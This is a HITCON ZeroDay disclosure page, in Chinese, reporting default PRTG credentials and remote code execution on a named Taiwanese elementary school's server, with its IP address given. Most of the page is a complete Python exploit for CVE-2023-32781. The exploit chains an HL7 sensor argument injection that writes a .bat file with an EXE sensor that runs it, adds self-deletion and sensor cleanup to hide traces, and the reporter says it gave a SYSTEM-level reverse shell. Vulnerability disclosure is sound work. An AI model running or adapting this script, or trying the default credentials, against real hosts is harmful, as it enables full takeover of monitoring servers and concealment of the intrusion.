新北市永吉國民小學 PRTG 弱密碼+RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00961
  •  發信 Vendor: 新北市永吉國民小學
  • Title: 新北市永吉國民小學 PRTG 弱密碼+RCE
  • Introduction: PRTG 弱密碼+RCE

處理狀態

目前狀態

公開
Last Update : 2025/09/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2025/08/12 18:25:52 : 新提交 (由 anonymous 更新此狀態)
  • 2025/08/14 21:28:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 15:53:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 15:53:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/26 15:53:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/09/17 10:22:00 : 已修補 (由 組織帳號 更新此狀態)
  • 2025/09/25 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00961
  • 通報者:xcultivation (anonymous)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://163.20.104.238

敘述

進入網址就顯示帳號密碼為 prtgadmin:prtgadmin
圖片

使用版本受到有 CVE-2023-32781, 可以RCE

PoC

編寫腳本

#!/usr/bin/env python3

import argparse
import random
import string
import re
import sys
import urllib.parse
import requests

requests.packages.urllib3.disable_warnings()

def randstr(n=8):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))

def get_csrf(sess, base):
    r = sess.get(f"{base}/welcome.htm", verify=False)
    if r.status_code != 200:
        raise RuntimeError(f"Failed to GET welcome.htm: {r.status_code}")
    m = re.search(r'csrf-token"\s+content="([^"]+)"', r.text)
    if not m:
        raise RuntimeError("CSRF token not found")
    return m.group(1)

def login(sess, base, username, password):
    r = sess.post(f"{base}/public/checklogin.htm",
                  data={"username": username, "password": password},
                  allow_redirects=False, verify=False)
    if r.status_code != 302 or "Set-Cookie" not in str(r.headers):
        raise RuntimeError("Login failed")
    return True

def add_hl7_sensor(sess, base, csrf, device_id, bat_name, cmd):
    # 將命令塞進 hl7file_;將 -debug 注入到 Receiving Facility (recvfac_)
    sensor_name = randstr(10)
    recvapp = randstr(5)
    recvfac_injection = f'{randstr(5)}" -debug="..\\Custom Sensors\\EXE\\{bat_name}" -recvapp="{recvapp}'
    params = {
        "name_": sensor_name,
        "parenttags_": "",
        "tags_": "dicom hl7",
        "priority_": "3",
        "port_": "104",
        "timeout_": "60",
        "override_": "0",

        "sendapp_": randstr(4),
        "sendfac_": randstr(4),
        "recvapp_": recvapp,
        "recvfac_": recvfac_injection,

        # 把你的命令塞進 .bat 內容(中間那段)
        "hl7file_": f"ADT_& {cmd} & A08.hl7|ADT_A08.hl7||",
        "hl7filename": "",

        # 掃描頻率:保持預設即可
        "intervalgroup": "0",
        "interval_": "60|60 seconds",
        "errorintervalsdown_": "1",
        "inherittriggers": "1",

        "id": str(device_id),       # 目標 Device ID(例如 Local Probe Device)
        "sensortype": "hl7",
        "tmpid": "2",
        "anti-csrf-token": csrf
    }
    r = sess.post(f"{base}/addsensor5.htm", data=params, allow_redirects=False, verify=False)
    if r.status_code != 302:
        raise RuntimeError(f"Add HL7 sensor failed (HTTP {r.status_code})")
    return sensor_name

def find_sensor_id_by_name(sess, base, device_id, sensor_name):
    # 從裝置綜覽裡把剛建立的 sensor id 撈出來
    r = sess.get(f"{base}/controls/deviceoverview.htm", params={"id": device_id}, verify=False)
    if r.status_code != 200:
        raise RuntimeError(f"deviceoverview.htm failed: {r.status_code}")
    m = re.search(rf'id=([0-9]+)">{re.escape(sensor_name)}', r.text)
    if not m:
        return None
    return m.group(1)

def scannow(sess, base, csrf, sensor_id):
    headers = {
        "anti-csrf-token": csrf,
        "X-Requested-With": "XMLHttpRequest"
    }
    r = sess.post(f"{base}/api/scannow.htm", data={"id": sensor_id}, headers=headers, verify=False)
    if r.status_code != 200:
        raise RuntimeError(f"scannow failed: {r.status_code}")
    return True

def add_exe_sensor(sess, base, csrf, device_id, bat_name):
    sensor_name = randstr(10)
    params = {
        "name_": sensor_name,
        "parenttags_": "",
        "tags_": "exesensor",
        "priority_": "3",

        "scriptplaceholdergroup": "1",
        "scriptplaceholder1description_": "",
        "scriptplaceholder1_": "",
        "scriptplaceholder2description_": "",
        "scriptplaceholder2_": "",
        "scriptplaceholder3description_": "",
        "scriptplaceholder3_": "",
        "scriptplaceholder4description_": "",
        "scriptplaceholder4_": "",
        "scriptplaceholder5description_": "",
        "scriptplaceholder5_": "",

        # 讓 EXE/Script 指向剛才寫進 EXE 目錄的 .bat
        "exefile_": f"{bat_name}|{bat_name}||",
        "exefilelabel": "",
        "exeparams_": "",
        "environment_": "0",
        "usewindowsauthentication_": "0",
        "mutexname_": "",
        "timeout_": "60",
        "valuetype_": "0",
        "channel_": "Value",
        "unit_": "#",
        "monitorchange_": "0",
        "writeresult_": "0",
        "intervalgroup": "0",
        "interval_": "43200|12 hours",
        "errorintervalsdown_": "1",
        "inherittriggers": "1",

        "id": str(device_id),
        "sensortype": "exe",
        "tmpid": "6",
        "anti-csrf-token": csrf
    }
    r = sess.post(f"{base}/addsensor5.htm", data=params, allow_redirects=False, verify=False)
    if r.status_code != 302:
        raise RuntimeError(f"Add EXE sensor failed (HTTP {r.status_code})")
    return sensor_name

def delete_object(sess, base, csrf, obj_id):
    headers = {
        "anti-csrf-token": csrf,
        "X-Requested-With": "XMLHttpRequest"
    }
    r = sess.post(f"{base}/api/deleteobject.htm", data={"id": obj_id, "approve": 1}, headers=headers, verify=False)
    return r.status_code == 200

def main():
    ap = argparse.ArgumentParser(description="PRTG CVE-2023-32781 Python PoC (HL7 -debug write + EXE run)")
    ap.add_argument("--base", required=True, help="Base URL, e.g., https://prtg.local or https://1.2.3.4")
    ap.add_argument("--user", required=True, help="Username")
    ap.add_argument("--pass", dest="pwd", required=True, help="Password")
    ap.add_argument("--device-id", default="40", help="Target Device ID (default 40 = often Local Probe Device)")
    ap.add_argument("--cmd", required=True, help='Command to execute (e.g., "ping 1.2.3.4" or "powershell -c ...")')
    ap.add_argument("--no-cleanup", action="store_true", help="Do not delete created sensors")
    args = ap.parse_args()

    base = args.base.rstrip("/")
    sess = requests.Session()

    print("[*] Logging in...")
    login(sess, base, args.user, args.pwd)

    print("[*] Fetching CSRF token...")
    csrf = get_csrf(sess, base)

    bat_name = f"{randstr(10)}.bat"

    # 把命令加上自刪,減少痕跡(可自行移除)
    cmd = f"{args.cmd} & del %0"

    print("[*] Creating HL7 sensor with -debug injection to write", bat_name)
    hl7_name = add_hl7_sensor(sess, base, csrf, args.device_id, bat_name, cmd)

    print("[*] Locating HL7 sensor id...")
    hl7_id = None
    # 簡單重試一下(建立後可能要 1-2 秒才出現在頁面)
    for _ in range(10):
        hl7_id = find_sensor_id_by_name(sess, base, args.device_id, hl7_name)
        if hl7_id:
            break
        import time; time.sleep(1)
    if not hl7_id:
        raise RuntimeError("Failed to find created HL7 sensor id")
    print(f"[+] HL7 sensor id = {hl7_id}")

    print("[*] Triggering HL7 sensor (scannow) to write the .bat...")
    scannow(sess, base, csrf, hl7_id)
    print("[+] .bat should be written into Custom Sensors\\EXE")

    print("[*] Creating EXE/Script sensor to run the .bat...")
    exe_name = add_exe_sensor(sess, base, csrf, args.device_id, bat_name)

    print("[*] Locating EXE/Script sensor id...")
    exe_id = None
    for _ in range(10):
        exe_id = find_sensor_id_by_name(sess, base, args.device_id, exe_name)
        if exe_id:
            break
        import time; time.sleep(1)
    if not exe_id:
        raise RuntimeError("Failed to find created EXE/Script sensor id")
    print(f"[+] EXE/Script sensor id = {exe_id}")

    print("[*] Triggering EXE/Script sensor (scannow) to execute the .bat...")
    scannow(sess, base, csrf, exe_id)
    print("[+] Execution triggered. Check your command effects/output.")

    if not args.no_cleanup:
        print("[*] Cleaning up sensors...")
        # 注意刪除順序:先刪 EXE,再刪 HL7
        delete_object(sess, base, csrf, exe_id)
        delete_object(sess, base, csrf, hl7_id)
        print("[+] Cleanup done.")
    else:
        print("[*] Skipped cleanup as requested.")

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

拿到reverse shell,為 nt authority\system 使用者

圖片
圖片

修補建議

1. 更新 PRTG 至最新版本
2. 更改 PRTG 為強密碼
3. 掃毒

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;